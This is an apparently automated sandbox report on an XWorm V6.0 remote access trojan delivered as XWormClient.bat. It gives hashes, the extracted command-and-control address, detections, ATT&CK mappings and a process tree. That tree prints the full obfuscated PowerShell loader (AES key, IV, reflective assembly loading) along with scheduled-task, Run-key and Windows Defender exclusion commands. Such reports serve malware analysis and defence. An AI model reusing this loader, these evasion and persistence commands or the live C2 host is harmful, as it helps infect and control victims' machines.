Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20250619-en - resource tags
arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system - submitted
13/08/2025, 04:33
Static task
static1
Behavioral task
behavioral1
Sample
XWormClient.bat
Resource
win10v2004-20250619-en
Behavioral task
behavioral2
Sample
XWormClient.bat
Resource
win11-20250610-en
General
- Target XWormClient.bat
- Size 404KB
- Sample250813-e6pgasv1fs
- SHA256 f59cf4ca5660457108b8fba581299630e197696c066b0e00171a2b87cac07b00
- MD5 b586154a3cda069bcf731080c0bbd95e
- SHA1 96c154bf8e6c92bc9d175c13f0f13bca5804df80
- SHA512 b923497d24a8fe389550d004d06dec828beca0e476433ddb58190575356a481cca335a23049b1a8e595f04128cdcdea3248840910347d2eaf08196ca28859450
- SSDEEP 12288:JVOGFchTTWrOoT8MP4EWjPNc1xCSBLs4mZACn:JVOGFaTTWSoT1wEcc1xdLsJAe
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
xworm
-
XWorm V6.0
-
return-aug.gl.at.ply.gg:39431
-
Install_directory
%AppData%
-
install_file
Com Surrogate.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/624-46-0x000002737BF40000-0x000002737BF58000-memory.dmp family_xworm - Detects DonutLoader 1 IoCs
resource yara_rule behavioral1/memory/3408-47-0x00000000029B0000-0x00000000029DA000-memory.dmp family_donutloader - DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Xworm family
- Blocklisted process makes network request 1 IoCs
flow pid Process 21 624 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3024 powershell.exe 2376 powershell.exe 1168 powershell.exe 752 powershell.exe 1904 powershell.exe 5028 powershell.exe 624 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\Control Panel\International\Geo\Nation WScript.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Com Surrogate.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Com Surrogate.lnk powershell.exe - Executes dropped EXE 1 IoCs
pid Process 1648 Com Surrogate.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Com Surrogate = "C:\\Users\\Admin\\AppData\\Roaming\\Com Surrogate.exe" powershell.exe - Drops file in System32 directory 13 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Com Surrogate svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C012DC2CC089" svchost.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000_Classes\Local Settings powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3084 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1904 powershell.exe 1904 powershell.exe 5028 powershell.exe 5028 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 3024 powershell.exe 3024 powershell.exe 2376 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 2376 powershell.exe 1168 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 1168 powershell.exe 752 powershell.exe 624 powershell.exe 752 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe 624 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3408 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1904 powershell.exe Token: SeDebugPrivilege 5028 powershell.exe Token: SeIncreaseQuotaPrivilege 5028 powershell.exe Token: SeSecurityPrivilege 5028 powershell.exe Token: SeTakeOwnershipPrivilege 5028 powershell.exe Token: SeLoadDriverPrivilege 5028 powershell.exe Token: SeSystemProfilePrivilege 5028 powershell.exe Token: SeSystemtimePrivilege 5028 powershell.exe Token: SeProfSingleProcessPrivilege 5028 powershell.exe Token: SeIncBasePriorityPrivilege 5028 powershell.exe Token: SeCreatePagefilePrivilege 5028 powershell.exe Token: SeBackupPrivilege 5028 powershell.exe Token: SeRestorePrivilege 5028 powershell.exe Token: SeShutdownPrivilege 5028 powershell.exe Token: SeDebugPrivilege 5028 powershell.exe Token: SeSystemEnvironmentPrivilege 5028 powershell.exe Token: SeRemoteShutdownPrivilege 5028 powershell.exe Token: SeUndockPrivilege 5028 powershell.exe Token: SeManageVolumePrivilege 5028 powershell.exe Token: 33 5028 powershell.exe Token: 34 5028 powershell.exe Token: 35 5028 powershell.exe Token: 36 5028 powershell.exe Token: SeIncreaseQuotaPrivilege 5028 powershell.exe Token: SeSecurityPrivilege 5028 powershell.exe Token: SeTakeOwnershipPrivilege 5028 powershell.exe Token: SeLoadDriverPrivilege 5028 powershell.exe Token: SeSystemProfilePrivilege 5028 powershell.exe Token: SeSystemtimePrivilege 5028 powershell.exe Token: SeProfSingleProcessPrivilege 5028 powershell.exe Token: SeIncBasePriorityPrivilege 5028 powershell.exe Token: SeCreatePagefilePrivilege 5028 powershell.exe Token: SeBackupPrivilege 5028 powershell.exe Token: SeRestorePrivilege 5028 powershell.exe Token: SeShutdownPrivilege 5028 powershell.exe Token: SeDebugPrivilege 5028 powershell.exe Token: SeSystemEnvironmentPrivilege 5028 powershell.exe Token: SeRemoteShutdownPrivilege 5028 powershell.exe Token: SeUndockPrivilege 5028 powershell.exe Token: SeManageVolumePrivilege 5028 powershell.exe Token: 33 5028 powershell.exe Token: 34 5028 powershell.exe Token: 35 5028 powershell.exe Token: 36 5028 powershell.exe Token: SeIncreaseQuotaPrivilege 5028 powershell.exe Token: SeSecurityPrivilege 5028 powershell.exe Token: SeTakeOwnershipPrivilege 5028 powershell.exe Token: SeLoadDriverPrivilege 5028 powershell.exe Token: SeSystemProfilePrivilege 5028 powershell.exe Token: SeSystemtimePrivilege 5028 powershell.exe Token: SeProfSingleProcessPrivilege 5028 powershell.exe Token: SeIncBasePriorityPrivilege 5028 powershell.exe Token: SeCreatePagefilePrivilege 5028 powershell.exe Token: SeBackupPrivilege 5028 powershell.exe Token: SeRestorePrivilege 5028 powershell.exe Token: SeShutdownPrivilege 5028 powershell.exe Token: SeDebugPrivilege 5028 powershell.exe Token: SeSystemEnvironmentPrivilege 5028 powershell.exe Token: SeRemoteShutdownPrivilege 5028 powershell.exe Token: SeUndockPrivilege 5028 powershell.exe Token: SeManageVolumePrivilege 5028 powershell.exe Token: 33 5028 powershell.exe Token: 34 5028 powershell.exe Token: 35 5028 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 624 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4460 wrote to memory of 696 4460 cmd.exe 84 PID 4460 wrote to memory of 696 4460 cmd.exe 84 PID 4460 wrote to memory of 1904 4460 cmd.exe 85 PID 4460 wrote to memory of 1904 4460 cmd.exe 85 PID 1904 wrote to memory of 5028 1904 powershell.exe 86 PID 1904 wrote to memory of 5028 1904 powershell.exe 86 PID 1904 wrote to memory of 5056 1904 powershell.exe 89 PID 1904 wrote to memory of 5056 1904 powershell.exe 89 PID 5056 wrote to memory of 5636 5056 WScript.exe 90 PID 5056 wrote to memory of 5636 5056 WScript.exe 90 PID 5636 wrote to memory of 448 5636 cmd.exe 94 PID 5636 wrote to memory of 448 5636 cmd.exe 94 PID 5636 wrote to memory of 624 5636 cmd.exe 95 PID 5636 wrote to memory of 624 5636 cmd.exe 95 PID 624 wrote to memory of 3408 624 powershell.exe 56 PID 624 wrote to memory of 1564 624 powershell.exe 26 PID 624 wrote to memory of 2148 624 powershell.exe 74 PID 624 wrote to memory of 1556 624 powershell.exe 27 PID 624 wrote to memory of 960 624 powershell.exe 12 PID 624 wrote to memory of 2732 624 powershell.exe 48 PID 624 wrote to memory of 3516 624 powershell.exe 57 PID 624 wrote to memory of 1148 624 powershell.exe 20 PID 624 wrote to memory of 4888 624 powershell.exe 76 PID 624 wrote to memory of 3620 624 powershell.exe 73 PID 624 wrote to memory of 744 624 powershell.exe 14 PID 624 wrote to memory of 3304 624 powershell.exe 55 PID 624 wrote to memory of 2712 624 powershell.exe 47 PID 624 wrote to memory of 1132 624 powershell.exe 19 PID 624 wrote to memory of 5856 624 powershell.exe 67 PID 624 wrote to memory of 5652 624 powershell.exe 66 PID 624 wrote to memory of 1116 624 powershell.exe 18 PID 624 wrote to memory of 2492 624 powershell.exe 43 PID 624 wrote to memory of 1748 624 powershell.exe 30 PID 624 wrote to memory of 2484 624 powershell.exe 42 PID 624 wrote to memory of 2728 624 powershell.exe 54 PID 624 wrote to memory of 512 624 powershell.exe 64 PID 624 wrote to memory of 904 624 powershell.exe 11 PID 624 wrote to memory of 1100 624 powershell.exe 17 PID 624 wrote to memory of 1304 624 powershell.exe 22 PID 624 wrote to memory of 1684 624 powershell.exe 29 PID 624 wrote to memory of 2668 624 powershell.exe 45 PID 624 wrote to memory of 1672 624 powershell.exe 28 PID 624 wrote to memory of 1348 624 powershell.exe 23 PID 624 wrote to memory of 4624 624 powershell.exe 96 PID 624 wrote to memory of 1272 624 powershell.exe 21 PID 624 wrote to memory of 5600 624 powershell.exe 70 PID 624 wrote to memory of 2644 624 powershell.exe 44 PID 624 wrote to memory of 2232 624 powershell.exe 40 PID 624 wrote to memory of 1048 624 powershell.exe 16 PID 624 wrote to memory of 2032 624 powershell.exe 35 PID 624 wrote to memory of 5380 624 powershell.exe 68 PID 624 wrote to memory of 1436 624 powershell.exe 36 PID 624 wrote to memory of 2024 624 powershell.exe 34 PID 624 wrote to memory of 1036 624 powershell.exe 15 PID 624 wrote to memory of 2016 624 powershell.exe 33 PID 624 wrote to memory of 1812 624 powershell.exe 32 PID 624 wrote to memory of 1416 624 powershell.exe 25 PID 624 wrote to memory of 1612 624 powershell.exe 37 PID 624 wrote to memory of 2196 624 powershell.exe 39 PID 624 wrote to memory of 1796 624 powershell.exe 31 PID 624 wrote to memory of 2380 624 powershell.exe 41 PID 624 wrote to memory of 2968 624 powershell.exe 50 PID 624 wrote to memory of 800 624 powershell.exe 10 PID 624 wrote to memory of 1384 624 powershell.exe 24 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵PID:800
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:452
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵PID:5400
-
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:2124
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:904
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:744
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1036
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1048
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1100
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1116
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1132 -
C:\Users\Admin\AppData\Roaming\Com Surrogate.exe"C:\Users\Admin\AppData\Roaming\Com Surrogate.exe"2⤵
- Executes dropped EXE
PID:1648
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1148
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1272
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1304
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1348
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1416
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1564
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1556
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1672
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1684
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1748
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1812
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2016
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2024
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2032
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1436
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1612
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2196
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2232
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2380
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2484
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2492
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2644
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2668
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2712
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2732
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2968
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2728
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3304
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3408 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XWormClient.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/ApDYEoCaxm9YnFSsi7IBqlNbwWa8w0OrxSuRfQefw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xsOpMaNZmmjXR85uGZkCFg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Zyyrf=New-Object System.IO.MemoryStream(,$param_var); $vvsAT=New-Object System.IO.MemoryStream; $YwRuH=New-Object System.IO.Compression.GZipStream($Zyyrf, [IO.Compression.CompressionMode]::Decompress); $YwRuH.CopyTo($vvsAT); $YwRuH.Dispose(); $Zyyrf.Dispose(); $vvsAT.Dispose(); $vvsAT.ToArray();}function execute_function($param_var,$param2_var){ $goSgY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OfSvk=$goSgY.EntryPoint; $OfSvk.Invoke($null, $param2_var);}$sWqXN = 'C:\Users\Admin\AppData\Local\Temp\XWormClient.bat';$host.UI.RawUI.WindowTitle = $sWqXN;$OQGpe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sWqXN).Split([Environment]::NewLine);foreach ($LKSzq in $OQGpe) { if ($LKSzq.StartsWith('zzaVnfSVFHxlFoflzjim')) { $tRsTL=$LKSzq.Substring(20); break; }}$payloads_var=[string[]]$tRsTL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:696
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_115_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_115.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5028
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_115.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_115.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:5636 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/ApDYEoCaxm9YnFSsi7IBqlNbwWa8w0OrxSuRfQefw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xsOpMaNZmmjXR85uGZkCFg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Zyyrf=New-Object System.IO.MemoryStream(,$param_var); $vvsAT=New-Object System.IO.MemoryStream; $YwRuH=New-Object System.IO.Compression.GZipStream($Zyyrf, [IO.Compression.CompressionMode]::Decompress); $YwRuH.CopyTo($vvsAT); $YwRuH.Dispose(); $Zyyrf.Dispose(); $vvsAT.Dispose(); $vvsAT.ToArray();}function execute_function($param_var,$param2_var){ $goSgY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OfSvk=$goSgY.EntryPoint; $OfSvk.Invoke($null, $param2_var);}$sWqXN = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_115.bat';$host.UI.RawUI.WindowTitle = $sWqXN;$OQGpe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sWqXN).Split([Environment]::NewLine);foreach ($LKSzq in $OQGpe) { if ($LKSzq.StartsWith('zzaVnfSVFHxlFoflzjim')) { $tRsTL=$LKSzq.Substring(20); break; }}$payloads_var=[string[]]$tRsTL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:448
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3024
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2376
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Com Surrogate.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1168
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Com Surrogate.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:752
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Com Surrogate" /tr "C:\Users\Admin\AppData\Roaming\Com Surrogate.exe"7⤵
- Scheduled Task/Job: Scheduled Task
PID:3084
-
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Com Surrogate.exe2⤵PID:548
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3516
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:512
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5652
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:5856
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5380
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5600
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3620
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:2148
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4888
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:4624
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2500
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
